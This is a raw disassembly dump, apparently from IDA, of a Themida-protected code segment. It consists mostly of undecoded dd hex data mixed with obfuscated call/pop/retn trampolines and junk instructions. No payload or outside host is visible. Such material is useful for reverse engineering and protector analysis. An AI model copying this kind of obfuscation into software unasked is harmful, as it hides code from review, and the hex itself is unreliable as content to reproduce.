dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 3D58C357h, 9D29CD01h, 7FA2AA1h, 3BE9h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 4713B226h, 0C3050E2h, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 34C35343h, 6A734361h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0B427C357h
dd 3D38542Eh, 8B80EB80h, 0FA1D3D9Dh, 0C1858907h, 8307FA22h
dd 0FA2BD9BDh, 850F0307h, 3EAh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 51C35646h, 96BD83DAh, 7FDEBh
dd 3C0840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 6D5D31C3h, 9D89AEE7h, 7FA2E11h
dd 0B5FF5F56h, 7FDEB96h, 0B860Fh, 8C0F0000h, 5, 571B0DBFh
dd 4595FF7Eh, 6A07FA27h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0D613C352h, 0C979B0F9h
dd 0B58BFA8Bh, 7FDEB8Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 1EC35646h, 0D6ED1B7Bh, 3AB5CA63h, 14E9h
dd 0F48E5B00h, 49FA819Eh, 2BF933A0h, 563520DDh, 36D6A6F4h
dd 106C71Bh, 66000100h, 8B50FA8Bh, 243489DFh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E4C35242h, 0A0DE6CABh
dd 0BD95897Eh, 0E807FA18h, 7, 39AEB283h, 5B57D7D6h, 0EB96B5FFh
dd 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 35BF7DC3h, 0FF20C6C7h, 0FA18E195h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 7585899Dh, 8B07FA1Fh, 0FDEB8AB5h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 15F750F4h
dd 8BDA8BE7h, 0FA1C7D85h, 0CD858907h, 8907FA01h, 0C486h
dd 0D9958B00h, 0F07FA1Ch, 984h, 3800F00h, 0F000000h, 0C283FABFh
dd 55B50904h, 8907FA01h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 1514D2C3h, 0B4B1CE66h
dd 0FC359E40h, 0FEF7858Dh, 0BB6607FDh, 86897400h, 0B8h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C4C35242h
dd 8B006A19h, 96B5FFDAh, 6A07FDEBh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0FF1AC353h
dd 890FCFBAh, 6, 0BEB9CB81h, 95FF53CCh, 7FA1C95h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3FC35545h, 0BD8BEC08h
dd 7FA17D5h, 0CEB4DB81h, 0B7505C68h, 243489C1h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6C35545h, 0D87B5C9h
dd 0B31AD34h, 0FA30F59Dh, 96B5FF07h, 0FF07FDEBh, 0FA1D9595h
dd 39BD8B07h, 5607FA01h, 0BD59D8Bh, 835B07FAh, 0FA0131BDh
dd 840F0007h, 42h, 17199D31h, 0F9607FAh, 28Ah, 50FAB700h
dd 8B665250h, 0F310FF9h, 89h, 96585A00h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 17h, 68C35747h, 66B7215Bh
dd 0B5FFD88Bh, 7FDEB96h, 1A880F60h, 0E8000000h, 14h, 0A2D4162h
dd 0AC1F96E9h, 0ACD438D5h, 0FEC317B8h, 0BD3148F9h, 5E85Bh
dd 0BFF10000h, 0B1051B53h, 0FF6158A7h, 0FA1CB595h, 89BD8B07h
dd 0FF07FA00h, 0FDEB96B5h, 0AD95FF07h, 8B07FA21h, 0FA26A99Dh
dd 21BD8307h, 207FA22h, 54840Fh, 0BD330000h, 7FA3445h
dd 1615858Bh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 56A54CC3h, 0C601A4h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0F8BE79h, 9ABB6656h, 85C75F02h, 7FA16DDh, 0
dd 0EE8h, 0B6417D00h, 934CE2F3h, 57D2368Fh, 60134FA5h
dd 3CB7D08Bh, 50E95B61h, 89FFFFF3h, 0FA180D85h, 6AC18B07h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 134C350h, 7C53B266h, 0F2F978DFh, 1CED8D09h
dd 858D07FAh, 7FA0199h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 63C35343h, 422DC92Eh, 5626BF50h, 4893B99h
dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 80115843h, 6ADCE7h, 6AD8B70Fh, 0A7858D00h
dd 8307FF48h, 816605C0h, 5081C0C3h, 31240489h, 0FA21718Dh
dd 95895307h, 7FA0099h, 6A006A5Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 2B82C352h
dd 0B77B77BFh, 9006A60h, 0FA29659Dh, 0E995FF07h, 6A07FA2Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 0D86C351h, 1579E43Dh, 5677E381h, 8D8D188Ah
dd 7FDD711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0B9C35343h, 8BEED422h, 0FA0FB59Dh, 0E8D1FF07h
dd 11h, 61A7ED0h, 7B3D7AA2h, 0BE845930h, 0C5EFD5DDh, 0C5BD8BA3h
dd 5B07FA15h, 33EDBD83h, 0F0107FAh, 0C385h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0B0198F7Ch, 61606052h, 850F5F61h, 1Fh, 13E8h, 0F8669700h
dd 33821518h, 1B747AC3h, 6E639A74h, 1DCB07E1h, 31D1BD09h
dd 6A5F07FAh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 897AFCBFh, 0FA182D95h, 81665007h
dd 5F86B5DFh, 0BE95690h, 0B8000000h, 11D7C0A1h, 8A53C03Dh
dd 505FEA6Eh, 958DBB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 26523554h, 0C3A25966h
dd 0BD29551Bh, 7FA0B9Dh, 1C9595FFh, 0DE8B07FAh, 0DBFE9h
dd 0E800h, 815D0000h, 0FF48B1EDh, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0D5B22849h
dd 6ADEAB2Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 0D4B8C353h, 0B501692Ch, 7FA07C9h
dd 1C49BD31h, 858D07FAh, 7FDB959h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0DBC35747h, 663103A6h, 9D8B9AA2h
dd 7FA0F9Dh, 79B75090h, 0FF64F890h, 35h, 0F1B58900h, 6407FA33h
dd 2589h, 85090000h, 7FA02D1h, 104985FFh, 0FF6A07FAh, 0FFFFBF0Fh
dd 0FA0E71B5h, 83BB6607h, 0EE96069h, 0C3000000h, 0ED427C28h
dd 35B7EF97h, 0F05B2953h, 0D0816632h, 0FF6131A3h, 0FA287595h
dd 0FAE907h, 8D090000h, 7FA10F5h, 6E800B0h, 14000000h
dd 0B1CC1692h, 55BD8B4Ah, 5F07FA26h, 816670E6h, 0E4D232DBh
dd 19D8971h, 8107FA28h, 819C6ACBh, 0F613C76h, 0C383h, 79850100h
dd 0F07FA10h, 5160C8B6h, 16318D8Bh, 615807FAh, 6BAh, 0F88B6600h
dd 6660C18Bh, 1332EF81h, 32859523h, 0C16107FAh, 0CB8104E8h
dd 4F53518Ah, 0E9E2F766h, 9, 6B49077Fh, 4A1B426Ah, 0C82BFCAFh
dd 33799589h, 0D18B07FAh, 0E9FEB70Fh, 6Ch, 4C858BFCh, 3505F4Ch
dd 0FA2B21BDh, 0FBBF0F07h, 3307C083h, 0FA1045BDh, 0C08307h
dd 0FD03BF9h, 0D83h, 19D2B00h, 0E907FA22h, 3Ch, 8D8B4FB3h
dd 0FFFFFFFFh, 0DFD9D8Bh, 0E18307FAh, 25840F01h, 80000000h
dd 0A5838ECBh, 0FFFFFFFFh, 5E9FEh, 0D2BB0000h, 8937F2EAh
dd 5F4C4C95h, 79BD8B50h, 0E907FA2Ch, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7FEC452h]
push 0
push ebp
call sub_5D7ED9
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D7ED9 proc near ; CODE XREF: Themida_:005D7ED1p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5D7ED9 endp
; ---------------------------------------------------------------------------
sahf
push ebx
enter 0FFFF816Ah, 8Bh
mov ebp, 7FA2A59h
push esi
jmp loc_5D7F0E
; ---------------------------------------------------------------------------
dw 128Fh
; ---------------------------------------------------------------------------
rcr byte ptr [esi], 0E7h
mov esp, ebp
xchg al, [edx+1Fh]
mov eax, 0C1F0A010h
jl short loc_5D7F30
adc al, 56h
cmc
loc_5D7F0E: ; CODE XREF: Themida_:005D7EF5j
pop edi
push 0
push 0
push edx
call sub_5D7F1C
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D7F1C proc near ; CODE XREF: Themida_:005D7F14p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5D7F1C endp
; ---------------------------------------------------------------------------
stosd
xchg al, [edi-1]
loc_5D7F30: ; CODE XREF: Themida_:005D7F09j
inc ecx
and [ecx-0Eh], ch
xor al, 8Bh
mov ebp, 7FA0B89h
call dword ptr [ebp+7FA1019h]
push ebx
sbb di, 0DE6h
pop edi
mov ecx, 1005h
push 0
push esi
call sub_5D7F58
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D7F58 proc near ; CODE XREF: Themida_:005D7F50p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5D7F58 endp
; ---------------------------------------------------------------------------
pop esi
retf 8722h
; ---------------------------------------------------------------------------
pusha
cmpsb
retf 0E183h
; ---------------------------------------------------------------------------
cld
push 0
push edx
call sub_5D7F7D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D7F7D proc near ; CODE XREF: Themida_:005D7F75p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5D7F7D endp
; ---------------------------------------------------------------------------
db 98h, 7Fh, 9Bh
dd 0D43AE8C7h, 0AE9h, 7D2A0D00h, 7094B5C4h, 0FCCEB2E3h
dd 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 47A3DAC3h, 29066372h, 0FA0841BDh, 0CE907h
dd 0AED20000h, 0EBF97399h, 0D09C808h, 0D22BBEF6h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3CC35242h, 9407244Dh
dd 0ADFBBF0Fh, 0E8D1C233h, 0E983D003h, 8BF47504h, 0FA18719Dh
dd 880D07h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 4F8552C3h, 0B70FD773h, 0D9958BF9h
dd 0B307FA1Ch, 0AD8D8BA3h, 5207FA31h, 8B505BF8h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 0B4C35646h, 15BB98Ah, 0FA29D985h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0EC781C6h, 0F7B3A5Ch, 0BD83FABFh, 7FA2A29h
dd 73840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 93BC352h, 0FA1C999Dh
dd 0B807h, 830F0000h, 6, 0B15BD8Bh, 8D8D07FAh, 7FA4F66h
dd 13E951h, 71280000h, 0C9A501E5h, 85A360AAh, 0B947F076h
dd 0A5B1417Eh, 0E1FF5F39h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 18C35646h, 0BD837DA3h, 7FA2BD9h, 68840F00h
dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 0F14BC351h, 0AADC6310h, 850F65h
dd 83000000h, 0FA2BD9BDh, 840F0107h, 44Eh, 896684BBh, 0D9BD834Ch
dd 307FA2Bh, 406860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0A11F41C3h, 0C8B7B59Dh
dd 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 8F1E9869h, 0F86A6F0Bh, 0D98C66FCh, 305B589h
dd 0E18007FAh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 896ADED6h, 0FA2C9D9Dh
dd 0FC90A07h, 12D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 81503AD8h, 22DE59EBh
dd 858B5F36h, 7FA0FE9h, 1649B531h, 830F07FAh, 6, 34BDBD89h
dd 853307FAh, 7FA15E1h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 90C35141h, 0E9536090h, 7, 0EEE5FC40h
dd 5F68AA81h, 10E85061h, 5F000000h, 0F8176773h, 0E3B63133h
dd 9EEA1618h, 66AAA83Fh, 5F0155BFh, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0FBF99FEh
dd 6A69ED3Fh, 0CBE66800h, 0BF66DABFh, 481BB45h, 5F381924h
dd 11B58925h, 0FF07FA2Eh, 0FA1CE995h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 3DECCE3Bh, 9D337B4Dh, 7FA2729h, 0EB968589h, 6A07FDh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 14F310C3h, 0E985DCF4h, 0ED8529FFh, 0E907FA10h, 1C0h
dd 244D9D8Bh, 858B07FAh, 7FDEB8Eh, 0C75FF953h, 1800h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 70318574h, 9E986h, 0D56A0000h, 54A05456h, 8B6F941Ah
dd 0FDEB92B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 7E966h, 1ABF0000h, 0C175BA8Dh
dd 51858B0Fh, 6A07FA0Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 1800C353h, 8B29D9CDh
dd 0FA20619Dh, 6A068907h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 983BC357h, 2BA19D0Bh
dd 858B07FAh, 7FA0FE9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0F6C35747h, 89F37606h, 0FA2415BDh, 0FABF0F07h
dd 0B3044689h, 0A9B501A2h, 5007FA17h, 3489FA8Bh, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 0D034AA45h, 292001E6h, 8EB5FFDAh, 6A07FDEBh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 5711C351h, 810AB51Ah, 6810Fh, 85890000h, 7FA1529h, 34498509h
dd 0D56807FAh, 662DFB22h, 81CA06BBh, 212A2434h, 0CABF2DE4h
dd 8D67AC24h, 0FDEB9685h, 0E3816607h, 5090CF33h, 0E860505Bh
dd 0Ch, 807C064Ch, 1B53BFF1h, 0B6D34D05h, 7289ADBFh, 820F5B18h
dd 13h, 0DE8h, 393D8000h, 0C05DA2FBh, 0AE426FB3h, 615E3589h
dd 0FB8B6690h, 1CE995FFh, 0F88B07FAh, 51006A61h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0FE871h, 54680000h, 5E153C82h, 476B64D9h, 164BE1CAh
dd 0F98B664Bh, 0D985C75Fh, 307FA2Bh, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0FDFBC352h, 0FA20D7Dh, 38Eh, 0C1E78000h, 0EB96BD83h
dd 0F0007FDh, 2B84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 4CECCF9Ah, 21E9F5h, 95290000h
dd 7FA2181h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0FCCC351h, 689h, 559D8B00h, 6607FA2Bh
dd 8362B4BFh, 0FA2BD9BDh, 850F0307h, 46Ah, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4C35646h, 900E1D33h
dd 6E9h, 99DA2D00h, 0E9F506C7h, 9, 0DEE3FC96h, 0BDBC512Dh
dd 96BD83AFh, 7FDEBh, 424840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FF7D97C3h
dd 0FDEB96B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0BD89514Ch, 7FA1149h
dd 0DA8B665Bh, 274595FFh, 9E907FAh, 18000000h, 220FD621h
dd 53D1D8DAh, 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0B9D473C3h, 2D99BD8Bh
dd 6C707FAh, 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0D8C35545h, 0E3A87EEEh, 60CA39EAh, 31158D8Bh
dd 0E68007FAh, 0F9661CAh, 288h, 505F5000h, 58F0Fh, 0D3BB0000h
dd 963B2021h, 1F9BD23h, 850F07FAh, 2, 0B5FFD98Bh, 7FDEB96h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8BC35545h
dd 2D2DA2EBh, 0A943F7DEh, 1C1622BBh, 0E195FF4Dh, 0F07FA18h
dd 0B58BDABFh, 7FDEB8Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 0B0C35343h
dd 0BAB695Bh, 0FA338DBDh, 7D858B07h, 8907FA1Ch, 0C486h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 64A044C4h, 0E8D430C0h, 14h, 25A11716h, 96C72967h
dd 0E8A0187Dh, 298EF69Dh, 3B62F988h, 18860Fh, 12E80000h
dd 1C000000h, 10F24D6Ah, 1EA6AC3Ah, 0D917DE4Dh, 6D2316B3h
dd 8B5F5F5Dh, 0FA1CD995h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0A416FAECh
dd 6B7A28C1h, 38BBD00Dh, 831AB6E2h, 6A04C2h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C563C7C3h
dd 3146D29Fh, 95899173h, 7FA287Dh, 0E9205089h, 0Bh, 0F64E1245h
dd 140D6779h, 0F2B9E3Eh, 0D8Eh, 8E900h, 0FC030000h, 0AA54B0DEh
dd 858DE3CDh, 7FDFEF7h, 0FFBB70Fh, 1684h, 11E900h, 0A8A20000h
dd 0B6730097h, 17783EDh, 66353047h, 899BFCEEh, 0B886h
dd 319D8B00h, 6A07FA17h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 5B4A5F5Ch, 0F8926A5Bh
dd 0EE8h, 3E019C00h, 949F77E1h, 0B0FC7DD2h, 89493202h
dd 0FA201985h, 0B5FF5F07h, 7FDEB96h, 0FFDABF0Fh, 0FA1C9595h
dd 199D8B07h, 5007FA20h, 10E9h, 0AE268A00h, 0BD9460A5h
dd 0C401A237h, 83F19C39h, 2434895Bh, 14E8h, 0B60BF800h
dd 1FF5F955h, 15E92B35h, 9160C899h, 2F00BA2h, 23BF66F2h
dd 0B5FF5FC5h, 7FDEB96h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 5C35242h, 50911EE2h, 952911AAh, 7FA28E9h
dd 1D9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 8340BDC3h, 0FA0131BDh, 840F0007h
dd 12h, 0E958D89h, 509607FAh, 5BF98B52h, 64B6BB96h, 0B5FF7F58h
dd 7FDEB96h, 0D719D8Bh, 4AB707FAh, 1CB595FFh, 0BD8B07FAh
dd 7FA17EDh, 2581BD8Bh, 0B5FF07FAh, 7FDEB96h, 891B529h
dd 95FF07FAh, 7FA21ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 32C35545h, 0C810D0EEh, 0CFB9A621h, 55BB6695h
dd 21BD83B5h, 207FA22h, 42840Fh, 0E3810000h, 711358FAh
dd 16E18589h, 858B07FAh, 7FA1615h, 28B0Fh, 0FE8A0000h
dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0B126C357h, 1549099Ch, 0C8AC0479h
dd 16DD85C7h, 7FAh, 830F0000h, 12h, 6E8h, 7D2D7200h, 0B538D7Dh
dd 0FA27899Dh, 1BE95F07h, 6AFFFFF3h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3E12C353h
dd 1950B68Ch, 8D89C383h, 7FA2639h, 4EB7C18Bh, 199858Dh
dd 90F907FAh, 52502DB3h, 10E9905Bh, 79000000h, 0AEA51422h
dd 0A082102Ah, 5D9F3672h, 6A4AB9BBh, 6AF500h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8CC35040h, 0B959D8Bh
dd 858D07FAh, 7FF57CBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 4EC35343h, 806F812Dh, 83DC922Ah, 8B5005C0h
dd 50505BF8h, 80EBB52h, 310F6569h, 0B0BF5250h, 0F7BB0A8h
dd 0C41ABF31h, 585A51DDh, 489585Ah, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 542CF14Fh
dd 0FB8B7936h, 6ADC8Ah, 2B398D89h, 6A07FAh, 7EF789BFh
dd 0D98B664Fh, 2BE995FFh, 0BF0F07FAh, 118D8DFEh, 0F07FDD7h
dd 689h, 219D8B00h, 0FF07FA2Ch, 0AE9D1h, 0F1BC0000h, 0D56564A3h
dd 0F88AED87h, 83F98B66h, 0FA33EDBDh, 850F0107h, 54h, 3B7026Ah
dd 0DA8B6690h, 0BF669050h, 95FFD3E3h, 7FA1C95h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1EC35343h, 0A485B9CCh
dd 0E8633BAEh, 0Bh, 73C3FA63h, 4FC9308Bh, 0FF02D77h, 68Bh
dd 6D9D8B00h, 5B07FA20h, 0D37E9h, 0E800h, 815D0000h, 0FF57D5EDh
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 10E903h, 0DCD10000h, 0C374A2B0h, 0BBAC6505h
dd 34B9BD4Eh, 858DDDB9h, 7FDB959h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0B0C35141h, 0EFFFB531h, 0A19D8BCFh
dd 9007FA2Bh, 0FE95250h, 7000000h, 0CD6D934Ah, 0BC68A25Ch
dd 1D3D3CEAh, 310FC628h, 5FE1B351h, 9050585Ah, 1718589h
dd 0FF6407FAh, 35h, 25896400h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5D8CBB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D8CBB proc near ; CODE XREF: Themida_:005D8CB3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5D8CBB endp
; ---------------------------------------------------------------------------
ror dword ptr [edx+0Dh], 89h
mov ch, 2Dh
or eax, 0BD2307FAh
xchg eax, ecx
add dl, bh
pop es
inc dword ptr [ebp+7FA1049h]
push 0
push esi
call sub_5D8CEB
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D8CEB proc near ; CODE XREF: Themida_:005D8CE3p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5D8CEB endp
; ---------------------------------------------------------------------------
db 29h
dd 0EC4113F4h, 0EC8DECFEh, 0B5FFFF6Ah, 7FA0EEDh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 32C35242h, 95FFC3AFh
dd 7FA2875h, 118E9h, 859D8900h, 0B007FA15h, 0BD8B5300h
dd 7FA2901h, 6070E65Fh, 6840Fh, 9D8B0000h, 7FA0FA5h, 8B71E461h
dd 0FA27F1BDh, 0F613C07h, 0E883h, 0C8B60F00h, 1F819D8Bh
dd 6BA07FAh, 8B000000h, 0FA30E5BDh, 60C18B07h, 68B0Fh
dd 0B58B0000h, 7FA1C59h, 4E8C161h, 66DF8B66h, 9D8BE2F7h
dd 7FA2D75h, 1E49BD89h, 0C82B07FAh, 0D359589h, 0D18B07FAh
dd 277D9529h, 0BB6607FAh, 96E97FA7h, 8B000000h, 47554C85h
dd 83FA8B49h, 0DE907C0h, 4D000000h, 85901AD8h, 1C4BB705h
dd 1F288C78h, 7E9h, 73C67700h, 0CAEF143Ch, 0E900C083h
dd 0Dh, 0AEF3A229h, 354CAC48h, 583351DAh, 959509A1h, 3B07FA2Ch
dd 1D830FD0h, 8B000000h, 0FA317D9Dh, 0FD9D8B07h, 0E907FA15h
dd 39h, 0EC9BD8Bh, 0BD8B07FAh, 7FA1719h, 0FFFF8D8Bh, 0E183FFFFh
dd 1E840F01h, 66000000h, 8036C781h, 0FFFFA583h, 0BFFEFFFFh
dd 31175C76h, 554C9589h, 0DE8A4947h, 0E9h, 2FB58D00h, 6A07FEDAh
dd 4FBB6600h, 899D8983h, 0FF07FA26h, 0FA101995h, 0EF805707h
dd 9FB95B2Fh, 6A00000Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 359CC350h, 5382F52Ah
dd 967DDCCCh, 0BDB589F8h, 8B07FA16h, 0FCE183F8h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4BC35747h, 1BE75084h
dd 0D8D89B9h, 0FC07FA0Bh, 399F35BBh, 29C02B51h, 0FA345D9Dh
dd 6AD22B07h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 4028C355h, 564F2202h, 1659D09h
dd 9D8907FAh, 7FA1BF9h, 2A758509h, 33AD07FAh, 3E8D1C2h
dd 4E983D0h, 0FFBBF475h, 894EFA6Fh, 0FA350185h, 880D07h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 69C60DC3h, 8DFB5228h, 81D9A591h, 215CBCF7h
dd 0D9958B24h, 8B07FA1Ch, 0FA08B5BDh, 0AD8D8B07h, 0F07FA31h
dd 88Fh, 0DB815600h, 2E6E9575h, 0C28B505Fh, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6ADA8Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0F3AB69C3h, 83959DC1h, 0FA2A29BDh, 840F0007h, 35h, 6820Fh
dd 85290000h, 7FA053Dh, 0B8h, 8D8DF800h, 7FA4F66h, 6800Fh
dd 85890000h, 7FA17B1h, 2DC4EF81h, 0E1FF36C5h, 3870Fh
dd 0BF0F0000h, 0D9BD83F9h, 7FA2Bh, 50C840Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0A8C983C3h, 800F2D04h, 0BF663ADBh, 0BD836EA8h, 7FA2BD9h
